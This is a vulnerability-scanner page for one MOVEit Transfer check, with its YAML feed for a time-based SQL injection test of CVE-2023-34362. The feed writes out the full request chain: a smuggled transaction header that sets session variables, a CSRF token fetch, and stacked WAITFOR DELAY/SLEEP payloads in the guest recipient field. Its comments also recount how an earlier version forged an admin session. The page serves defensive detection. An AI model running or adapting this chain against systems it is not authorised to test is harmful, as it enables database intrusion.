MOVEit — 1 vulnerability check
noctis ships 1 vulnerability check for MOVEit, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
MOVEit Transfer guestaccess.aspx unauthenticated SQL injection
| CVE | CVE-2023-34362 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/moveit/CVE-2023-34362.yaml |
Detects the unauthenticated SQL injection in Progress MOVEit Transfer (CVE-2023-34362). The check opens an anonymous session, sets the guest package session variables through moveitisapi.dll, takes the CSRF token from guestaccess.aspx and posts a guest message whose recipient value carries a stacked statement that only makes the database wait (WAITFOR DELAY for SQL Server, SLEEP for MySQL). The finding is reported only when two random delays both show up over a zero-delay baseline, each within its own window, and the longer one takes measurably longer. The injected statement writes nothing, no authenticated session or token is created and no data is read.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /human.aspx HTTP/1.0 - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /moveitisapi/moveitisapi.dll?action=m2 - HTTP(S) request
POST /guestaccess.aspxwith a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /moveitisapi/moveitisapi.dll?action=m2 - HTTP(S) request
POST /guestaccess.aspxwith a crafted body - HTTP(S) request
POST /moveitisapi/moveitisapi.dll?action=m2 - … and 9 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-34362
- https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
- https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/
- https://github.com/horizon3ai/CVE-2023-34362
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/moveit_cve_2023_34362.rb
Feed source — tests/vulnerabilities/moveit/CVE-2023-34362.yaml
# Progress MOVEit Transfer — unauthenticated SQL injection through
# guestaccess.aspx (CVE-2023-34362)
#
# The bug: moveitisapi.dll forwards a request to SILMachine2 only for the
# folder_add_by_path transaction, but it looks for that name anywhere in the
# raw header block, so an "xx-silock-transaction: folder_add_by_path" header
# placed first lets SILMachine2 run "session_setvars" on the caller's ASP.NET
# session. The guest package post of guestaccess.aspx (transaction=secmsgpost)
# then builds a recipient lookup from the MyPkgSelfProvisionedRecips session
# variable without escaping it, so "<addr>'); <statement> -- x" runs a stacked
# statement on the MOVEit database (MySQL or SQL Server).
#
# Detection: a read-only timing proof on the real injection point. The flow is
# the public one (session cookie from the landing page, session_setvars with the
# guest package variables, CSRF token from guestaccess.aspx, then secmsgpost),
# but the stacked statement only waits: WAITFOR DELAY for SQL Server, SELECT
# SLEEP for MySQL. Nothing is inserted or updated, no session or token is forged
# and no account is touched. The guest post itself (secmsgpost) is the same
# request every public exploit sends; the anonymous ASP.NET session it runs in
# expires like any visitor's. The recipient address is random under
# example.invalid, so it matches no user and no mail can be delivered.
#
# Two random delays (n, n + 3, the longer one sent first) must each land in
# their own window over the faster of two zero-delay baselines (1 s below, 4 s
# above) and the longer must take >= 2 s more: a WAF/IPS that holds every
# SQL-looking request for a fixed time gives no gap and stays clean. If the
# lookup runs k (<= 3) times the delays scale by k, and the windows follow.
# A target whose baseline post takes 8 s or more is not timed (no finding).
# SQL Server (the usual back end) is tried first; the session variables and
# CSRF token are set again for each dialect, since the other dialect's failed
# statement may reset the session.
#
# Every Set-Cookie of the landing page is read from a raw request: http_request
# keeps only the last one, and the session must carry ASP.NET_SessionId.
#
# Previous version of this feed proved the bug by INSERTing a forged sysadmin
# session (IP 1.2.3.4, the in-the-wild IOC) and exchanging it for an API access
# token — a live admin session left on the target (#2421). That is gone.
#
# Sources: Horizon3.ai PoC (github.com/horizon3ai/CVE-2023-34362), Metasploit
# exploit/windows/http/moveit_cve_2023_34362 (session variable order, CSRF
# request, secmsgpost body), Progress advisory (May 31, 2023).
uid: 2f73f038-7f1c-4d78-b8bc-41c4da8350cd
name: "MOVEit Transfer guestaccess.aspx unauthenticated SQL injection (CVE-2023-34362)"
description: >-
Detects the unauthenticated SQL injection in Progress MOVEit Transfer
(CVE-2023-34362). The check opens an anonymous session, sets the guest
package session variables through moveitisapi.dll, takes the CSRF token
from guestaccess.aspx and posts a guest message whose recipient value
carries a stacked statement that only makes the database wait (WAITFOR DELAY
for SQL Server, SLEEP for MySQL). The finding is reported only when two
random delays both show up over a zero-delay baseline, each within its own
window, and the longer one takes measurably longer. The injected statement
writes nothing, no authenticated session or token is created and no data
is read.
cves: [CVE-2023-34362]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.35
tags: [sqli, time-based, moveit, progress, unauthenticated, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-34362"
- "https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023"
- "https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/"
- "https://github.com/horizon3ai/CVE-2023-34362"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/moveit_cve_2023_34362.rb"
steps:
# ── Random delays, access code and recipient ──────────────────────────────
- id: gen
action: script
code: |
let s1 = rand_int(4, 5);
let tag = rand_hex(6);
#{ s1: s1, s2: s1 + 3, code: "nc" + rand_hex(4),
guest: "noctis" + tag + "@example.invalid",
recip: "noctis" + rand_hex(6) + "@example.invalid" }
store_as: sc
# ── Fingerprint ───────────────────────────────────────────────────────────
- id: init-root
action: set_var
var_name: root_resp
var_value: {status: 0, body: null}
- id: root-probe
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 10
headers:
Cookie: "siLockLongTermInstID=0"
store_as: root_resp
- id: gate
action: script
code: |
let ok = false;
if root_resp.status == 200 && type_of(root_resp.body) == "string" {
ok = ereg("(?i)<title>[^<]*MOVEit", root_resp.body) || ereg("(?i)moveit(isapi|transfer|dmz)|stdnet|human\\.aspx", root_resp.body);
}
#{ ok: ok }
store_as: g
# ── Anonymous session: every Set-Cookie of the landing page ───────────────
- id: init-raw
action: set_var
var_name: raw1
var_value: {connected: false, banner: null}
- id: init-raw2
action: set_var
var_name: raw2
var_value: {connected: false, banner: null}
- id: root-raw
action: tcp_connect
port: "{{port}}"
condition: "g.ok"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nCookie: siLockLongTermInstID=0\r\n\r\n"
store_as: raw1
- id: jar1
action: script
code: |
let jar = #{};
if type_of(raw1.banner) == "string" {
let head = raw1.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
for line in split(head, "\n") {
let c = eregmatch("(?i)^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", line);
if c.len() < 3 || c[2] == "" { continue; }
jar[c[1]] = c[2];
}
}
#{ jar: jar, sid: "ASP.NET_SessionId" in jar }
store_as: j1
# The session cookie may only be set by the login page the landing page
# redirects to.
- id: human-raw
action: tcp_connect
port: "{{port}}"
condition: "g.ok && j1.sid == false"
send: "GET /human.aspx HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nCookie: siLockLongTermInstID=0\r\n\r\n"
store_as: raw2
- id: jar
action: script
code: |
let jar = j1.jar;
if type_of(raw2.banner) == "string" {
let head = raw2.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
for line in split(head, "\n") {
let c = eregmatch("(?i)^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", line);
if c.len() < 3 || c[2] == "" { continue; }
jar[c[1]] = c[2];
}
}
if !("siLockLongTermInstID" in jar) { jar["siLockLongTermInstID"] = "0"; }
let cookie = "";
for k in jar.keys() {
if cookie != "" { cookie += "; "; }
cookie += k + "=" + jar[k];
}
#{ ok: g.ok && "ASP.NET_SessionId" in jar, cookie: cookie }
store_as: ck
# ── Per database dialect (loop group) ─────────────────────────────────────
# Pre-initialise every stored result a script reads: a failed request
# leaves store_as unset and an undefined var would abort the whole test.
- id: init-base
action: set_var
var_name: base_resp
var_value: {status: 0, body: null, duration_ms: 0}
loop:
over: ["mssql", "mysql"]
var: db
- id: init-base2
action: set_var
var_name: base_resp2
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-long
action: set_var
var_name: long_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-short
action: set_var
var_name: short_resp
var_value: {status: 0, body: null, duration_ms: 0}
# Guest package session + CSRF token, fetched again for each dialect: a
# SQL error in the previous pass may have reset the session.
- id: init-csrf
action: set_var
var_name: csrf_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: setvars-init
action: http_request
method: POST
path: "/moveitisapi/moveitisapi.dll?action=m2"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
xx-silock-transaction: "folder_add_by_path"
X-siLock-Transaction: "session_setvars"
X-siLock-SessVar0: "MyPkgAccessCode: {{sc.code}}"
X-siLock-SessVar1: "MyPkgID: 0"
X-siLock-SessVar2: "MyGuestEmailAddr: {{sc.guest}}"
X-siLock-SessVar3: "MyPkgInstID: 1234"
X-siLock-SessVar4: "MyPkgSelfProvisionedRecips: {{sc.recip}}"
X-siLock-SessVar5: "MyUsername: Guest"
Cookie: "{{ck.cookie}}"
condition: "ck.ok"
store_as: init_resp
- id: get-csrf
action: http_request
method: POST
path: "/guestaccess.aspx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{ck.cookie}}"
body: "Transaction=dummy&Arg06={{sc.code}}&Arg12=promptaccesscode"
condition: "ck.ok"
store_as: csrf_resp
- id: csrf
action: script
code: |
let t = "";
if csrf_resp.status == 200 && type_of(csrf_resp.body) == "string" {
let m = eregmatch("(?i)name=\"csrftoken\"[^>]*value=\"([A-Za-z0-9]{8,128})\"", csrf_resp.body);
if m.len() > 1 { t = m[1]; }
}
#{ ok: ck.ok && t != "", token: t }
store_as: cs
# Recipient values: "<addr>'); <wait n> -- x" — no comma (the value is split
# on commas before it reaches the SQL).
- id: build
action: script
code: |
let pre = sc.recip + "'); ";
let wait = |n| if db == "mssql" { "WAITFOR DELAY '0:0:" + n + "'" } else { "SELECT SLEEP(" + n + ")" };
#{ v0: pre + wait.call(0) + " -- x",
v1: pre + wait.call(sc.s1) + " -- x",
v2: pre + wait.call(sc.s2) + " -- x",
db: if db == "mssql" { "SQL Server WAITFOR DELAY" } else { "MySQL SLEEP" } }
store_as: p
# Baseline: the same flow with a zero-length wait, sent twice; the faster
# one is the baseline (a cold application pool otherwise eats the window).
- id: setvars-base
action: http_request
method: POST
path: "/moveitisapi/moveitisapi.dll?action=m2"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
xx-silock-transaction: "folder_add_by_path"
X-siLock-Transaction: "session_setvars"
X-siLock-SessVar0: "MyPkgAccessCode: {{sc.code}}"
X-siLock-SessVar1: "MyPkgID: 0"
X-siLock-SessVar2: "MyGuestEmailAddr: {{sc.guest}}"
X-siLock-SessVar3: "MyPkgInstID: 1234"
X-siLock-SessVar4: "MyPkgSelfProvisionedRecips: {{p.v0}}"
X-siLock-SessVar5: "MyUsername: Guest"
Cookie: "{{ck.cookie}}"
condition: "cs.ok"
- id: post-base
action: http_request
method: POST
path: "/guestaccess.aspx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{ck.cookie}}"
body: "Arg06={{sc.code}}&transaction=secmsgpost&Arg01=subject&Arg04=body&Arg05=sendauto&Arg09=pkgtest9&csrftoken={{cs.token}}"
condition: "cs.ok"
store_as: base_resp
- id: setvars-base2
action: http_request
method: POST
path: "/moveitisapi/moveitisapi.dll?action=m2"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
xx-silock-transaction: "folder_add_by_path"
X-siLock-Transaction: "session_setvars"
X-siLock-SessVar0: "MyPkgAccessCode: {{sc.code}}"
X-siLock-SessVar1: "MyPkgID: 0"
X-siLock-SessVar2: "MyGuestEmailAddr: {{sc.guest}}"
X-siLock-SessVar3: "MyPkgInstID: 1234"
X-siLock-SessVar4: "MyPkgSelfProvisionedRecips: {{p.v0}}"
X-siLock-SessVar5: "MyUsername: Guest"
Cookie: "{{ck.cookie}}"
condition: "base_resp.status > 0 && base_resp.status != 404"
- id: post-base2
action: http_request
method: POST
path: "/guestaccess.aspx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{ck.cookie}}"
body: "Arg06={{sc.code}}&transaction=secmsgpost&Arg01=subject&Arg04=body&Arg05=sendauto&Arg09=pkgtest9&csrftoken={{cs.token}}"
condition: "base_resp.status > 0 && base_resp.status != 404"
store_as: base_resp2
- id: check-baseline
action: script
code: |
let base = base_resp.duration_ms;
if base_resp2.status > 0 && base_resp2.duration_ms < base { base = base_resp2.duration_ms; }
let ok = cs.ok && base_resp.status > 0 && base_resp.status != 404 && base < 8000;
#{ ok: ok, base: base }
store_as: bl
# Longer delay first: a WAF that holds each successive request longer then
# fails its own window.
- id: setvars-long
action: http_request
method: POST
path: "/moveitisapi/moveitisapi.dll?action=m2"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
xx-silock-transaction: "folder_add_by_path"
X-siLock-Transaction: "session_setvars"
X-siLock-SessVar0: "MyPkgAccessCode: {{sc.code}}"
X-siLock-SessVar1: "MyPkgID: 0"
X-siLock-SessVar2: "MyGuestEmailAddr: {{sc.guest}}"
X-siLock-SessVar3: "MyPkgInstID: 1234"
X-siLock-SessVar4: "MyPkgSelfProvisionedRecips: {{p.v2}}"
X-siLock-SessVar5: "MyUsername: Guest"
Cookie: "{{ck.cookie}}"
condition: "bl.ok"
- id: post-long
action: http_request
method: POST
path: "/guestaccess.aspx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 40
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{ck.cookie}}"
body: "Arg06={{sc.code}}&transaction=secmsgpost&Arg01=subject&Arg04=body&Arg05=sendauto&Arg09=pkgtest9&csrftoken={{cs.token}}"
condition: "bl.ok"
store_as: long_resp
# k = how many times the lookup ran (1..3), from the long delay; its window
# is k·s2 seconds over the baseline.
- id: check-long
action: script
code: |
let d2 = long_resp.duration_ms - bl.base;
let ms2 = sc.s2 * 1000;
let k = (d2 + ms2 / 2) / ms2;
if k < 1 { k = 1; }
if k > 3 { k = 3; }
let ok = bl.ok && long_resp.status > 0 && d2 >= k * ms2 - 1000 && d2 <= k * ms2 + 4000;
#{ ok: ok, k: k, d2: d2 }
store_as: w2
- id: setvars-short
action: http_request
method: POST
path: "/moveitisapi/moveitisapi.dll?action=m2"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
xx-silock-transaction: "folder_add_by_path"
X-siLock-Transaction: "session_setvars"
X-siLock-SessVar0: "MyPkgAccessCode: {{sc.code}}"
X-siLock-SessVar1: "MyPkgID: 0"
X-siLock-SessVar2: "MyGuestEmailAddr: {{sc.guest}}"
X-siLock-SessVar3: "MyPkgInstID: 1234"
X-siLock-SessVar4: "MyPkgSelfProvisionedRecips: {{p.v1}}"
X-siLock-SessVar5: "MyUsername: Guest"
Cookie: "{{ck.cookie}}"
condition: "w2.ok"
- id: post-short
action: http_request
method: POST
path: "/guestaccess.aspx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 40
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{ck.cookie}}"
body: "Arg06={{sc.code}}&transaction=secmsgpost&Arg01=subject&Arg04=body&Arg05=sendauto&Arg09=pkgtest9&csrftoken={{cs.token}}"
condition: "w2.ok"
store_as: short_resp
# Short delay in its own window, and the long one >= 2 s longer (a constant
# tarpit gives no gap).
- id: check-short
action: script
code: |
let d1 = short_resp.duration_ms - bl.base;
let ms1 = w2.k * sc.s1 * 1000;
let w1 = d1 >= ms1 - 1000 && d1 <= ms1 + 4000;
let hit = w2.ok && short_resp.status > 0 && w1 && (w2.d2 - d1) >= 2000;
#{ hit: hit, found: if hit { "DELAYED" } else { "" } }
store_as: tm
- id: report
action: match
source: tm.found
pattern: "^DELAYED$"
condition: "tm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Time-based SQLi ({{p.db}}) in the MyPkgSelfProvisionedRecips session variable, run by unauthenticated POST /guestaccess.aspx (secmsgpost): each injected delay held the reply that long — baseline {{bl.base}} ms, delay {{sc.s2}} s {{long_resp.duration_ms}} ms, delay {{sc.s1}} s {{short_resp.duration_ms}} ms"
stop: true